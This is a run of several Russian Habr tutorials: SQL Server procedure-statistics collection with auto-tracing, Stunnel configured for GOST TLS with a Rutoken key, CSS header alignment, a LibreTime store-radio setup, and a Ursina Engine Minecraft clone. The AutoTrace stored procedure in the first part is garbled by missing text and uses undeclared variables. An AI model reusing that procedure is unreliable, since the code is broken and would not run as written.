where Row\_GUID in (select Row\_GUID from tbl\_del);
end
declare @DB\_ID int
declare @OBJECT\_ID int
declare @top1 int = 3
declare @diff1 int
declare @count1 int
-- удалить повторы более @top1 раз конкретной процедуры
select top (1)
@count1 = tp.num
,@DB\_ID = tp.DB\_ID
,@OBJECT\_ID = tp.OBJECT\_ID
from
(select count(\*) as num, DB\_ID, OBJECT\_ID
from [srv].[SQL\_TopProcedureExecStat]
where CategoryName=@CategoryName
group by DB\_ID, OBJECT\_ID) as tp
order by tp.num desc;
set @diff1 = @count1 - @top1;
if(@diff1) > 0
begin
;with tbl\_del as(
select top(@diff1)
Row\_GUID
from [srv].[SQL\_TopProcedureExecStat]
where DB\_ID = @DB\_ID and OBJECT\_ID = @OBJECT\_ID
and CategoryName=@CategoryName
order by
case @CategoryName
when 'TotalWorkerTime' then TotalWorkerTime
when 'TotalElapsedTime' then TotalElapsedTime
when 'AvgWorkerSec' then AvgWorkerSec
when 'AvgElapsedSec' then AvgElapsedSec
when 'TotalPhysicalReads' then TotalPhysicalReads
when 'TotalLogicalReads' then TotalLogicalReads
when 'TotalLogicalWrites' then TotalLogicalWrites
when 'AvgPhysicalReads' then AvgPhysicalReads
when 'AvgLogicalReads' then AvgLogicalReads
when 'AvgLogicalWrites' then AvgLogicalWrites
end
)
delete from [srv].[SQL\_TopProcedureExecStat]
where Row\_GUID in (select Row\_GUID from tbl\_del);
end
-- удалить повторы более 1 раза значения параметра AvgWorkerSec для конкретной процедуры
if @CategoryName = 'AvgWorkerSec'
begin
declare @AvgWorkerSec decimal(8,2)
select top (1)
@count1 = tp.num
,@DB\_ID = tp.DB\_ID
,@OBJECT\_ID = tp.OBJECT\_ID
,@AvgWorkerSec = tp.AvgWorkerSec
from
(select count(\*) as num, DB\_ID, OBJECT\_ID, AvgWorkerSec
from [srv].[SQL\_TopProcedureExecStat]
where CategoryName=@CategoryName
group by DB\_ID, OBJECT\_ID,AvgWorkerSec) as tp
order by tp.num desc;
set @diff1 = @count1 - 1;
if(@diff1) > 0
begin
;with tbl\_del as(
select top(@diff1)
Row\_GUID
from [srv].[SQL\_TopProcedureExecStat]
where DB\_ID = @DB\_ID and OBJECT\_ID = @OBJECT\_ID
and CategoryName=@CategoryName and AvgWorkerSec = @AvgWorkerSec
order by InsertUTCDate desc
)
delete from [srv].[SQL\_TopProcedureExecStat]
where Row\_GUID in (select Row\_GUID from tbl\_del);
end
end
if @CategoryName = 'AvgElapsedSec'
begin
declare @AvgElapsedSec decimal(8,2)
select top (1)
@count1 = tp.num
,@DB\_ID = tp.DB\_ID
,@OBJECT\_ID = tp.OBJECT\_ID
,@AvgElapsedSec = tp.AvgElapsedSec
from
(select count(\*) as num, DB\_ID, OBJECT\_ID, AvgElapsedSec
from [srv].[SQL\_TopProcedureExecStat]
where CategoryName=@CategoryName
group by DB\_ID, OBJECT\_ID,AvgElapsedSec) as tp
order by tp.num desc;
set @diff1 = @count1 - 1;
if(@diff1) > 0
begin
;with tbl\_del as(
select top(@diff1)
Row\_GUID
from [srv].[SQL\_TopProcedureExecStat]
where DB\_ID = @DB\_ID and OBJECT\_ID = @OBJECT\_ID
and CategoryName=@CategoryName and AvgElapsedSec = @AvgElapsedSec
order by InsertUTCDate desc
)
delete from [srv].[SQL\_TopProcedureExecStat]
where Row\_GUID in (select Row\_GUID from tbl\_del);
end
end
END
GO
```
Данную хранимую процедуру лучше всего запускать сразу после сбора информации про хранимые процедуры (можно настроить задачу в Агенте для запуска каждые 5-10 минут для запросов и хранимых процедур и триггеров):
```
exec [srv].[InsertForSQL_StatementExecStat]; --сбор информации по выполненным запросам
exec [srv].[InsertForTriggerExecStat]; --сбор информации по выполненным триггерам
exec [srv].[InsertForProcedureExecStat]; --сбор информации по выполненным хранимым процедурам
--сбор информации о самых тяжелых выполненных хранимых процедурах по критериям
exec [srv].[InsertTopProcedureExecStat] @top=@top, @CategoryName='AvgWorkerSec';
exec [srv].[InsertTopProcedureExecStat] @top=@top, @CategoryName='AvgElapsedSec';
```
3) запуск трассировки (через задания Агента-каждые 5-10 минут, лучше сразу после сбора информации):
**Код**
```
USE [ИМЯ_БАЗЫ_ДАННЫХ];
go
--коэффициент переходящего значения индикатора
declare @koef_red numeric(8,3)=1.3;
--если есть записи со значением показателя не меньше заданного
--коэффициента индикатора
if(exists(
SELECT top(1) 1
FROM [srv].[SQL_TopProcedureExecStat]
where CategoryName='AvgElapsedSec'
or CategoryName='AvgWorkerSec'
group by CategoryName
having avg([AvgElapsedSec])>=@koef_red
or avg([AvgWorkerSec])>=@koef_red))
begin
--запустить автотрассировку
exec .[srv].[AutoTrace];
end
```
Хранимая процедура по автотрассировке реализуется индивидуально. Приведу пример:
**Код**
```
USE [ИМЯ_БАЗЫ_ДАННЫХ]
GO
SET ANSI_NULLS ON
GO
SET QUOTED_IDENTIFIER ON
GO
CREATE PROCEDURE [srv].[AutoTrace]
@maxfilesize bigint=200 --максимальный размер файла в МБ
,@run_minutes int=60 --сколько в минутах будет идти трассировка
,@file_patch nvarchar(255)=N'Путь к каталогу' --каталог для файла трассировки
,@file_name nvarchar(255)=N'Profiler' --имя файла
,@res_msg nvarchar(255)=NULL output --результат в виде сообщений
AS
BEGIN
SET NOCOUNT ON;
declare @rc int;
declare @TraceID int;
if(@run_minutes>=1200) set @run_minutes=1200; --не более 20 часов!
declare @finish_dt datetime=DateAdd(minute,@run_minutes,GetDate()); --до какого времени выполнять
--окончание файла трассировки
declare @finish_dt_inc nvarchar(255)=N'_'+cast(YEAR(@finish_dt) as nvarchar(255))+'_'+cast(MONTH(@finish_dt) as nvarchar(255))+'_'+cast(DAY(@finish_dt) as nvarchar(255));
declare @File nvarchar(255)=@file_patch+@file_name+@finish_dt_inc; --полное названрие файла трассировки
DECLARE @result bit;
DECLARE @msgerrors nvarchar(255);
DECLARE @oldDT datetime;
--Взять последнюю дату с временем
if(object_id('ИМЯ_БАЗЫ_ДАННЫХ.dbo.TraceTable')<>0)
begin
select @oldDT=max(StartTime)
from ИМЯ_БАЗЫ_ДАННЫХ.dbo.TraceTable
where StartTime is not null;
end
--select @oldDT;
--если последняя дата с временем не определена или меньше даты завершения трассировки, то запустить трассировку, иначе-трассировка уже выполнялось в эту дату
if(@oldDT is null or @oldDT=10) set @run\_delay\_hour\_str=cast(@run\_delay\_hour as nvarchar(255));
--select @run\_delay\_hour, @run\_delay\_hour\_str;
--добавить недостающие нули для строкового представления минут
if(@run\_delay\_minute=0) set @run\_delay\_minute\_str='00';
else if(@run\_delay\_minute<10) set @run\_delay\_minute\_str='0'+cast(@run\_delay\_minute as nvarchar(255));
else if(@run\_delay\_minute>=10) set @run\_delay\_minute\_str=cast(@run\_delay\_minute as nvarchar(255));
--select @run\_delay\_minute, @run\_delay\_minute\_str;
--строковое представление часы:минуты для задержки
declare @run\_delay\_str nvarchar(255)=@run\_delay\_hour\_str+':'+@run\_delay\_minute\_str;
--задержка
WAITFOR DELAY @run\_delay\_str;
--select @run\_delay\_str;
--удаляем таблицу трассировки при ее существовании
if(object\_id('ИМЯ\_БАЗЫ\_ДАННЫХ.dbo.TraceTable')<>0)
begin
drop table ИМЯ\_БАЗЫ\_ДАННЫХ.dbo.TraceTable;
end
--создаем и заполняем таблицу трассировки из файла трассировки
SELECT
\*
INTO ИМЯ\_БАЗЫ\_ДАННЫХ.dbo.TraceTable
FROM ::fn\_trace\_gettable(@File+'.trc', default);
--добавить к полному имени файла расширение
set @File=@File+'.trc';
--здесь нужно вставить код, чтобы удалить файл трассировки
declare @str\_title nvarchar(max)='Была запущена автотрассировка на сервере '+@@servername,
@str\_pred\_mess nvarchar(max)='На '+@@servername+' сервере была запущена автотрассировка. Посмотреть результат можно в таблице ИМЯ\_БАЗЫ\_ДАННЫХ.dbo.TraceTable';
--здесь можно отправить уведомление администраторам о запуске автотрассировки
end
--вернуть результат
set @res\_msg=N'ErrorCode='+cast(@rc as nvarchar(255))+'\r\n'+coalesce(@msgerrors, '');
end
END
GO
```
Более подробно как настроить трассировку можно почитать здесь [Как создать трассировку (Transact-SQL)](https://technet.microsoft.com/ru-ru/library/ms188662(v=sql.105).aspx)
### Результат
В данной статье был рассмотрен пример реализации системы сбора о состоянии работы базы данных, которая не нагружает систему. Также данная система в случае обнаружения проблемы запускает настроенную заранее трассировку и сохраняет в таблицу. Такой подход можно расширить и на несколько серверов. Тогда необходимо собирать со всех серверов информацию для последующей отправки отчета администраторам.
Также важно не забывать удалять старые данные из используемых таблиц. Вполне достаточно хранить данные до месяца или даже двух недель.
Еще одно интересное решение есть тут [Тестирование производительности баз данных при помощи tSQLt и SQLQueryStress](https://habrahabr.ru/post/310328/)
Далее дан [пример реализации общего индикатора производительности MS SQL Server](https://habrahabr.ru/post/342794/).
### Источники:
» [sys.dm\_exec\_trigger\_stats](https://msdn.microsoft.com/ru-ru/library/cc280646(v=sql.110).aspx)
» [sys.dm\_exec\_procedure\_stats](https://msdn.microsoft.com/ru-ru/library/cc280701(v=sql.110).aspx)
» [sys.dm\_exec\_query\_stats](https://msdn.microsoft.com/ru-ru/library/ms189741(v=sql.110).aspx)
» [sys.dm\_exec\_sql\_text](https://msdn.microsoft.com/ru-ru/library/ms181929(v=sql.110).aspx)
» [Как создать трассировку (Transact-SQL)](https://technet.microsoft.com/ru-ru/library/ms188662(v=sql.105).aspx)
» [Пример реализации общего индикатора производительности MS SQL Server](https://habrahabr.ru/post/342794/)
» [Тестирование производительности баз данных при помощи tSQLt и SQLQueryStress](https://habrahabr.ru/post/310328/) | https://habr.com/ru/post/314494/ | null | ru | null |
# Шифрование TLS-трафика по алгоритмам ГОСТ-2012 c Stunnel
В этой статье я хочу показать, как настроить Stunnel на использование российских криптографических алгоритмов в протоколе TLS. В качестве бонуса покажу, как шифровать TLS-канал, используя алгоритмы ГОСТ, реализованные в криптоядре Рутокен ЭЦП 2.0.
Но для начала давайте вообще разберёмся для чего нужен Stunnel. В двух словах — это программа, на которую можно переложить всю логику шифрования трафика между сервером и клиентом. Делается это следующем образом: допустим у вас есть клиент и сервер, которые общаются между собой без использования шифрования, аутентификации и проверки целостности. Вы могли бы переписать клиент и сервер так, чтобы все исходящие и входящие сообщения передавались между собой с учётом всех этих моментов, но для чего такие сложности, если можно это просто переложить на плечи другому приложения? Для решения такой задачи как раз подойдёт Stunnel.
Вам нужно просто настроить клиент таким образом, чтобы весь свой трафик он передавал на клиентский Stunnel, в свою очередь, он устанавливает безопасное соединение с сервером, отправляя данные на серверный Stunnel. Stunnel на сервере расшифровывает пришедший трафик и перенаправляет данные на вход серверу. Вышесказанное проще осознать глядя на эту диаграмму
Стоит заметить, что на сервере не обязательно должен стоять именно Stunnel, для работы с криптографическими алгоритмами. Здорово, что есть готовые демонстрационные стенды, которые поддерживают российскую криптографию, список которых есть в [презентации с РусКрипто'2019](https://www.%D1%80%D1%83%D1%81%D0%BA%D1%80%D0%B8%D0%BF%D1%82%D0%BE.%D1%80%D1%84/resource/archive/rc2019/files/01_Smyshlyaev.pdf).
Нам нужны стабильно работающие серверы, осуществляющие двухстороннюю аутентификацию.
Мы выбрали серверы КриптоПро как наиболее надёжные с полной реализацией стандарта ГОСТ TLS. Спасибо им за это :)
Звучит достаточно просто, давайте попробуем организовать этот процесс.
Подготовительный шаг
--------------------
Нам понадобится:
1. OpenSSL
2. Stunnel
3. rtengine
4. Доступ к тестовым серверам КриптоПро, для проверки соединения по TLS
OpenSSL для Windows можно взять [отсюда](https://slproweb.com/products/Win32OpenSSL.html), а для пользователей линукса — из репозиториев или собрать самому, скачав свежую версию [отсюда](https://www.openssl.org/source/). Также его можно взять из [Rutoken SDK](https://www.rutoken.ru/developers/sdk/), из директории **openssl\openssl-tool-1.1**, этот архив нам будет полезен и дальше, т.к. в нём находится интересующий нас rtengine. Stunnel можно найти [здесь](https://www.stunnel.org/downloads.html). Для работы необходима версия >= 5.56.
Скачать rtengine можно из [Rutoken SDK](https://www.rutoken.ru/developers/sdk/), он лежит в директории **openssl\rtengine\bin**. Закинуть его нужно туда, где хранятся все движки openssl. Узнать путь до них можно с помощью
```
openssl.exe version -a
```
Но просто переместить движок в нужную папку — мало, нужно ещё сконфигурировать сам openssl для работы с ним. Узнаём где лежит файл с конфигурацией **openssl.cnf** с помощью той же команды, что указана выше (под виндой stunnel идёт с собственной версией openssl, поэтому файл с конфигурацией лежит в **path\to\stunnel\config\openssl.cnf**
```
# В начале напишем:
openssl_conf = openssl_def
...
# В конце файла:
# OpenSSL default section
[openssl_def]
engines = engine_section
[engine_section]
rtengine = gost_section
[gost_section]
dynamic_path = /path/to/rtengine.so
MODULE_PATH = /usr/lib/librtpkcs11ecp.so
default_algorithms = CIPHERS, DIGEST, PKEY, RAND
```
Давайте проверим, что rtengine подключился, для этого подключим токен и выведем список всех алгоритмов шифрования:
```
openssl ciphers -v
```
Напомню, что в Windows нужно проверять на openssl, который лежит рядом с stunnel
Если среди них будут присутствовать наши ГОСТы, значит всё настроено верно.
Настало время самого интересного: проверка установки соединения по ГОСТу с тестовыми серверами КриптоПро. Список данных серверов описан здесь (<https://www.cryptopro.ru/products/csp/tc26tls>). Каждый из этих серверов работает со своими алгоритмами для аутентификации и шифрования. Более того на портах 443, 1443, 2443,… запущены сервисы, которые воспринимают только определённые парамсеты. Так, например, по адресу <http://tlsgost-256auth.cryptopro.ru> происходит шифрование с аутентификацией с использованием алгоритмов GOST2012-GOST8912-GOST8912 и 256-битным ключом. Так же на порту 443 используется XchA-ParamSet, на порту 1443 — XchB-ParamSet, на порту 2443 — A-ParamSet и т.д.
Теперь, когда мы знаем, какой ключ нам нужен, давайте получим корневой сертификат от тестового сервера, выработаем ключи для работы и подпишем запрос на наш сертификат.
### Простой способ (работает под Windows и Linux)
1. Для того, чтобы получить корневой сертификат, зайдём на [сайт тестового УЦ ООО "КРИПТО-ПРО"](http://testgost2012.cryptopro.ru/certsrv/). И нажмём на кнопку для получения сертификата. Отобразится новая вкладка, на которой нужно будет выбрать метод шифрования Base64 и нажать на кнопку **"Загрузка сертификата ЦС"**. Полученный файл **certnew.cer** сохраняем.
2. Переходим по [ссылке](https://ra.rutoken.ru/devices). Устанавливаем все плагины, которые от нас просят. Нажимаем на кнопку **”Создать ключ”**, и выбираем для генерации алгоритм "ГОСТ Р 34.10-2012 256-бит". Далее создаём запрос на сертификат, в графе **"Применение"** можно выбрать все. В графе Дополнительное применение: Аутентификация клиента и Пользователь центра регистрации КриптоПро.
3. Опять открываем сайт тестового УЦ, но на этот раз нажимаем на кнопку **"Отправить готовый запрос PKCS#10 или PKCS#7 в кодировке Base64"**. Вставляем в поле содержимое нашего запроса, нажимаем на клавишу “Выдать” и загружаем сертификат *user.crt* в формате Base64. Полученный файл сохраняем.
### Через командную строку
1. Для того, чтобы получить корневой сертификат, зайдём на [сайт тестового УЦ ООО "КРИПТО-ПРО"](http://testgost2012.cryptopro.ru/certsrv/). И нажмём на кнопку для получения сертификата. Отобразится новая вкладка, в которой нужно будет выбрать метод шифрования Base64 и нажать на кнопку **"Загрузка сертификата ЦС"**. Полученный файл **certnew.cer** сохраняем.
2. Теперь генерируем ключи.
```
pkcs11-tool --module /usr/lib/librtpkcs11ecp.so --keypairgen --key-type GOSTR3410-2012-256:B -l --id 45 # 45 -- код символа ASСII id ключа (E)
```
Стоит заметить, что сгенерированные на токене ключи не могут быть скопированы с токена. В этом состоит одно из основных преимуществ их использования.
3. Создадим запрос на сертификат:
```
openssl req -engine rtengine -new -key="pkcs11:id=E" -keyform engine -out client.req
```
4. Опять открываем сайт тестового УЦ, но на этот раз нажимаем на кнопку **"Отправить готовый запрос PKCS#10 или PKCS#7 в кодировке Base64"**. Вставляем в поле содержимое нашего запроса, нажимаем на кнопку Выдать и загружаем сертификат *user.crt* в формате Base64. Полученный файл сохраняем
Остался последний вопрос: Для чего всё это??? Зачем мы получали все эти сертификаты, ключи и запросы?
Дело в том, что они нужны протоколу TLS для двусторонней аутентификации. Работает это очень просто.
У нас есть сертификат сервера, и мы считаем его доверенным.
Наш клиент проверяет, что сервер, с которым мы работаем имеет аналогичный сертификат.
Сервер же хочет убедиться, что работает с пользователем, который ему известен. Для этого мы и создавали запрос на сертификат для работы через наши ключи.
Мы отправили этот запрос и сервер подписал её своей ЭЦП. Теперь мы можем каждый раз предъявлять этот сертификат, подписанный корневым УЦ, тем самым подтверждая, что мы — это мы.
Конфигурирование Stunnel
------------------------
Осталось только правильно настроить наш туннель. Для этого создадим файл **stunnel.conf** с настройками Stunnel по умолчанию и напишем туда следующее:
```
; уровень логирования и путь до лог-файла
debug = 7
output = /path/to/stunnel.log
; устанавливаем протокол защиты TLSv1
sslVersion=TLSv1
; подгружаем движок.
engine=rtengine
; настраиваем туннель на клиенте
[remote system]
client=yes
; указываем engine, необходимый для подгрузки ключей
engineId=rtengine
; устанавливаем верификацию 2 (принудительную проверку сертификата)
verify = 2
; путь до корневого сертификата
CAFile = /path/to/certnew.cer
; путь до сертификата клиента
cert=/path/to/user.crt
; путь до ключа на токене.
key=pkcs11:model=Rutoken%20ECP;manufacturer=Aktiv%20Co.;id=E
; указываем откуда Stunnel принимает соединение и куда посылает
accept = localhost:8080
connect = tlsgost-256auth.cryptopro.ru:2443
```
Теперь, если всё сделано правильно, можно запустить Stunnel с нашей конфигурацией и подключиться к серверу:
```
stunnel.exe /path/to/stunnel.conf
```
Откроем браузер и зайдём по адресу localhost:8080. Если всё верно, то отобразится следующее:
Если же нет, то смотрим логи и используем отладчик, чтобы понять в чём же всё-таки проблема.
Если у вас остались какие-то вопросы, то милости просим в комментарии :) | https://habr.com/ru/post/477650/ | null | ru | null |
# Грамотное адаптивное выравнивание шапки сайта
Зачастую вроде бы простые задачи верстки требуют сложной структуры HTML-разметки и использования CSS-трюков. Центрирование элементов или выравнивание контента может быть очень утомительным. Одна из таких задач — это выравнивание элементов верхней части сайта так, чтобы логотип был слева, а пункты меню — справа. Можно использовать float и position:absolute, а для выравнивания по вертикали — добавлять margin и padding разным элементам. Вроде бы ничего сложного. Но если сайт должен корректно отображаться и на мобильных устройствах, возникает много проблем.
Ниже описан лаконичный способ решения этой проблемы.
HTML-разметка максимально проста:
```
Super Bad
=========
First LinkSecond LinkThird Link
```
Высота шапки фиксированная, добавляем *text-align: justify*, для дочерних элементов:
```
header {
text-align: justify;
letter-spacing: 1px;
height: 8em;
padding: 2em 10%;
background: #2c3e50;
color: #fff;
}
```
Добавляем *display: inline-block* для всех элементов **nav**, чтобы можно было расположить их друг за другом:
```
header h1,
header nav {
display: inline-block;
}
```
Чтобы атрибут *text-align: justify* работал, как мы хотим, нужно использовать небольшой трюк с псведоэлементами, который был найден в статье [Perfectly justified CSS grid technique using inline-block](http://code.jelmerdemaat.nl/2012/perfectly-justified-css-grid-technique-using-inline-block/), автор Jelmer de Maat:
```
header::after {
content: '';
display: inline-block;
width: 100%;
}
```
[](http://jsbin.com/odeyag/1/edit)
В итоге получилось выравнивание по горизонтали, без использования *float* и *position:absolute*. Теперь необходимо выравнивание элементов по вертикали. При использовании *vertical-align* для элементов **nav** будет зависимость от высоты родительского блока — шапки. А это не очень правильно. Примеры использования [vertical-align: top](http://jsbin.com/ocaneb/1/edit) и [vertical-align: middle](http://jsbin.com/obohum/1/edit) на jsbin. Ниже представлен возможно наиболее удобный способ вертикального выравнивания.
Используем снова псевдоэлементы. используя пример из статьи [Centering in the Unknown](http://css-tricks.com/centering-in-the-unknown/), упомянутый Michał Czernow:
```
header h1 {
height: 100%;
}
header h1::before {
content: '';
display: inline-block;
vertical-align: middle;
height: 100%;
}
```
В результате получается то, что нужно:
Осталось решить две задачи: корректное отображение при большом количестве текста в шапке и адаптивность. Если заголовок сайта будет слишком длинный, верстка начнет съезжать:
[](http://jsbin.com/ehenab/1/edit)
Используем трюк с псевдоэлементом на **header**:
**CSS-код**
```
header {
text-align: justify;
height: 15em;
padding: 2em 5%;
background: #2c3e50;
color: #fff;
}
header::after {
content: '';
display: inline-block;
width: 100%;
}
header > div,
header nav,
header div h1 {
display: inline-block;
vertical-align: middle;
}
header > div {
width: 50%;
height: 100%;
text-align: left;
}
header > div::before {
content: '';
display: inline-block;
vertical-align: middle;
height: 100%;
}
```
Выглядит намного лучше:
Теперь перейдем к адаптивности. Есть несколько способов решения этой задачи, можно просто не задавать высоту шапке, и все внутренние элементы будут адаптивны высоте. При этом не потребуется второй трюк с псевдоэлементами, [живой пример](http://jsbin.com/iteyuz/1/edit) на jsbin.
**CSS-код**
```
header {
text-align: justify;
padding: 2em 5%;
background: #2c3e50;
color: #fff;
}
header::after {
content: '';
display: inline-block;
width: 100%;
}
header h1,
header nav {
display: inline-block;
vertical-align: middle;
}
header h1 {
width: 50%;
text-align: left;
padding-top: 0.5em;
}
header nav {
padding-top: 1em;
}
```
Если же необходимо задать высоту шапки, то придется использовать и второй трюк с псевдоэлементами, и добавлять media query для экранов разных размеров:
```
@media screen and (max-width: 820px){
header {
height: auto;
}
header > div,
header > div h1,
header nav {
height: auto;
width: auto;
display: block;
text-align: center;
}
}
```
Результат адаптивен и на мобильных устройствах выглядит так:
[](http://jsbin.com/icicam/1/edit)
В примере используется 820px для наглядности, на живом сайте значение конечно должно быть другое, в соответствии с требованиями. Для поддержки Internet Explorer 8 необходимо вместо “::” использовать “:” для псевдоэлементов.
**Финальный CSS-код**
```
@import url(http://fonts.googleapis.com/css?family=Lato:400,700italic);
* { padding: 0; margin: 0; }
body { background: #1abc9c; font-family: 'Lato', sans-serif; text-transform: uppercase; letter-spacing: 1px;}
header {
text-align: justify;
height: 8em;
padding: 2em 5%;
background: #2c3e50;
color: #fff;
}
header::after {
content: '';
display: inline-block;
width: 100%;
}
header > div,
header > div::before,
header nav,
header > div h1 {
display: inline-block;
vertical-align: middle;
text-align: left;
}
header > div {
height: 100%;
}
header > div::before {
content: '';
height: 100%;
}
header > div h1 {
font-size: 3em;
font-style: italic;
}
header nav a {
padding: 0 0.6em;
white-space: nowrap;
}
header nav a:last-child {
padding-right: 0;
}
@media screen and (max-width: 720px){
header {
height: auto;
}
header > div,
header > div h1,
header nav {
height: auto;
width: auto;
display: block;
text-align: center;
}
}
```
Результат:
[](http://jsbin.com/uguzen/1/edit)
 | https://habr.com/ru/post/188150/ | null | ru | null |
# Организация музыкального сопровождения торгового зала
Добрый день, вечер или ночь, все зависит от времени суток в который вам довелось прочитать мою статью.
В связи с открытием торгового зала была поставлена задача, организовать фоновую музыку в торговом зале, а именно:
— Трансляция из главного офиса подготовленного музыкального сопровождения;
— Управление только из центрального офиса, без доступа сотрудников торгового зала;
— Периодическое воспроизведение рекламы(необходима ежедневная смена рекламных роликов;
— Работа только в часы работы торгового зала;
— Без покупки дополнительного оборудования и ПО.
Что мы имеем:
— Контейнер LXC Ubuntu Server 16.04 (Память 1Gb, HDD 32 Gb);
— VPN сеть с торговым залом;
— Старый компьютер (Celeron 800, Память 256 Mb, WinXP):
— Подготовлена аудиосистема торгового зала с усилителем (в аренде).
За основы были взяты статьи:
— [Интернет-радио своими руками](https://habrahabr.ru/post/129460/);
— [Управление радиоэфиром через браузер](https://geektimes.ru/post/256834/);
— [Интернет-радио с множеством ведущих из разных городов и звонками в прямом эфире](https://habrahabr.ru/post/220123/);
— [Интернет-радиостанция на Liquidsoap + IceCast](https://habrahabr.ru/post/156591/).
Изначально планировалось всё сделать на основе [AirTime](https://www.sourcefabric.org/en/airtime/), но так как Open source проект не заброшен вот уже 3 года и максимум на что можно было поставить на Ubuntu server 14.04 пришлось искать другой продукт, в этот момент поисковик и выдал fork AirTime, а именно [LibreTime](http://libretime.org/).
Процесс установки тривиален и требует минимум действий, а именно:
Скачиваем исходники и ставим:
```
git clone https://github.com/libretime/libretime.git
cd libretime
sudo ./install
```
Сразу о нюансах:
— Пока готовых пакетов нет, но команда разработчиков планирует их выпуск;
— При установке можно использовать ключи, тогда весь процесс пойдет без участия, ключи можно узнать по команде `sudo ./install --help`;
— В интереактивном режиме обязательно вручную указывайте ключи `y` или `n`, регистр обязателен;
— После первоначальной настройки, которая проводиться через web интерфейс, обязательно перегрузить linux иначе нельзя добавить файлы в медиатеку, точнее они загрузятся на сервер но не будут отображаться;
— Я использую 3 потока с разным битрейтом, для этого в icecast2 были увеличен лимит потоков sources, в файле icecast.xml.
Интерфейс довольно понятен, к тому же руссифицирован. Главная страница(данные с тестового стенда, за место локальной библиотеки используется веб-поток, так же убран раздел входа в админку):
Страница авторизации:
Рабочий стол:
Мой пример настройки:
В торговом зале компьютер подключен на усилителю и на нем через VLC запущена трансляция из центрального офиса. В перспективе заменить это дело на raspberry pi, и настроить так, чтобы в случае обрыва связи с центральным raspberry проигрывал заготовку, а после восстановления связи с сервером продолжал вещать готовую программу.
В итоге у нас:
— Торговый зал с музыкальным сопровождением;
— Персонал торгового зала не имеет доступа с музыке;
— В центральном офисе через web интерфейс LibreTime настроены программы трансляции;
— Ответственный человек может менять расписания.
В перспективе:
— Замена старого компьютера на raspberry pi;
— Авторизация пользователя на основе Active Directory(такая возможность в LibreTime предусмотрена).
P.S. На то, что решение самое правильное и так нужно всем делать, не претендую. Просто делюсь одним из способов решения. Так как система только для внутреннего пользования, делать готовое решение не стали.
P.S. 2 У нас сервер расположен в DMZ зоне, доступ к web интерфейсу через nginx прокси, при этом доступ только с определенных подсетей.
P.S. 3 Кому то из Вас, может показаться, что моё решение не верно то вы будете от части правы, это решение только для нашей компании. Я с удовольствием почитаю ваши решения, может что то почерпну для себя. Так что жду ваши публикации с «правильными решениями». | https://habr.com/ru/post/345266/ | null | ru | null |
# Как создать Minecraft на Python? Обзор библиотеки Ursina Engine
Среди любителей Minecraft много энтузиастов: пока одни просто играют, другие запускают целые серверы и пишут модификации. А кто-то идет дальше и разрабатывает собственные песочницы. Последнее достаточно просто сделать на Python.
Под катом делюсь основами работы с библиотекой Ursina Engine и показываю, как с помощью нее создать мир из кубов.
> Пояснения внутри кодовых вставок — неотъемлемая часть статьи. Обращайтесь к ним, если что-то непонятно. На более сложные вопросы по работе с библиотекой могу ответить в комментариях под текстом.
Первый чанк: основные элементы библиотеки
-----------------------------------------
Ursina Engine — это полноценный движок под Windows, Linux и Mac, написанный на Panda3D, Pillow и Pyperclip. Его можно использовать для создания 2D- и 3D-игр. В комплекте библиотеки — готовые шейдеры, геометрические примитивы и анимации.
Движок будто консолидирует рутинную работу: разработчику нужно просто импортировать необходимые объекты и проработать логику игры.
```
from ursina import *
app = Ursina()
# здесь будет описана игровая логика
app.run()
```
*Инициализация окна игры.*
### Игровая сцена и наблюдатель: объекты типов Entity, FirstPersonController
> **Дисклеймер:** Все, что описано в этом подразделе, лучше использовать для сцен с небольшим количеством объектов. Для более сложных полигонов генерацию нужно оптимизировать — об этом подробнее в следующих разделах. Но пропускать этот блок не советую: здесь объясняю принцип работы с ключевыми элементами библиотеки.
Для наполнения карты нужно использовать объект *Entity*. По сути, на базе него построены все внутриигровые сущности. Это могут быть как объекты игровой сцены — геометрические примитивы вроде кубов, сфер, квадратов и другого, так и, например, модели мобов.
```
...
app = Ursina()
# создаем объекты модели cube, с текстурой white_cube и заданными координатами
for x in range(16):
for z in range(16):
Entity(model="cube", texture="white_cube", position=Vec3(x,0,z))
app.run()
```
*Генерация платформы 16x16 из блоков типа Entity.*
После запуска программы на экране появится двумерная картинка. Чтобы увидеть площадку из блоков в 3D, нужно добавить наблюдателя. Это можно сделать с помощью встроенного объекта *FirstPersonController*.
```
# импортируем объект
from ursina.prefabs.first_person_controller import FirstPersonController
...
# добавляем персонажа
player = FirstPersonController()
# активируем невесомость, чтобы персонаж не упал в пустоту
player.gravity = 0.0
app.run()
...
```
*Активация FirstPersonController.*
После запуска программы вы увидите простую площадку из блоков. И хоть пока что она выглядит скучно, по ней уже можно перемещаться.
*Отображение площадки из блоков после запуска программы.*
> По умолчанию персонажем можно управлять с помощью мышки и кнопок W, A, S, D. Но есть «фича»: если переключиться на русскую раскладку, то при нажатии кнопки сработает исключение TypeError. Поэтому лучше добавить автоматическое переключение раскладки при запуске программы — например, с помощью win32api.
### Текстурирование и кастомные объекты
Кроме встроенных текстур и моделей, Ursina Engine позволяет добавлять собственные. Примеры таких кастомных объектов ищите в [репозитории](https://github.com/VladDoctor/ursina-habr/tree/main/assets) на GitHub.
**Текстурирование блоков.** Первым делом, мне кажется, лучше добавить и текстурировать блоки. Для этого нужно сделать Blender-модель, заготовить текстуру и импортировать объект в программу.
*Blender, модель блока земли.*
```
...
# загружаем текстуру
grass_texture = load_texture('assets/grass.png')
for x_dynamic in range(16):
for z_dynamic in range(16):
# настраиваем объект Entity, загружаем модель block.obj
Entity(model='assets/block', scale=0.5, texture=grass_texture, position=Vec3(x_dynamic,0,z_dynamic))
...
```
*Загрузка кастомного объекта block.*
После запуска программы вы увидите что-то похожее на оригинальную игру.
*Результат: платформа из блоков земли.*
**Текстурирование персонажа.** Аналогичным образом можно добавить ту же руку персонажа. Сначала — заготовить текстуру для Blender-модели, а после — импортировать ее в программу через объект *Entity*. Чтобы закрепить руку рядом с камерой персонажа, нужно «подогнать» параметры — позицию и наклон.
*Blender, модель руки.*
```
...
# загружаем текстуру руки
arm_texture = load_texture('assets/arm_texture.png')
# объявляем объект hand, привязываем к камере camera.ui, загружаем модель и размещаем ее в правом нижнем углу
hand = Entity(parent = camera.ui, model = 'assets/arm',
texture = arm_texture, scale = 0.2,
rotation = Vec3(150, -10,0), position = Vec2(0.5,-0.6))
...
```
*Загрузка кастомного объекта hand.*
*Результат: в правом нижнем углу появилась рука.*
**Текстурирование неба.** С помощью *Entity* также можно добавить небо — для этого нужно создать модель сферы и наложить на нее текстуру.
```
...
sky_texture = load_texture('assets/sky_texture.png')
sky = Entity(
model = 'sphere', texture = sky_texture,
scale = 1000, double_sided = True
)
...
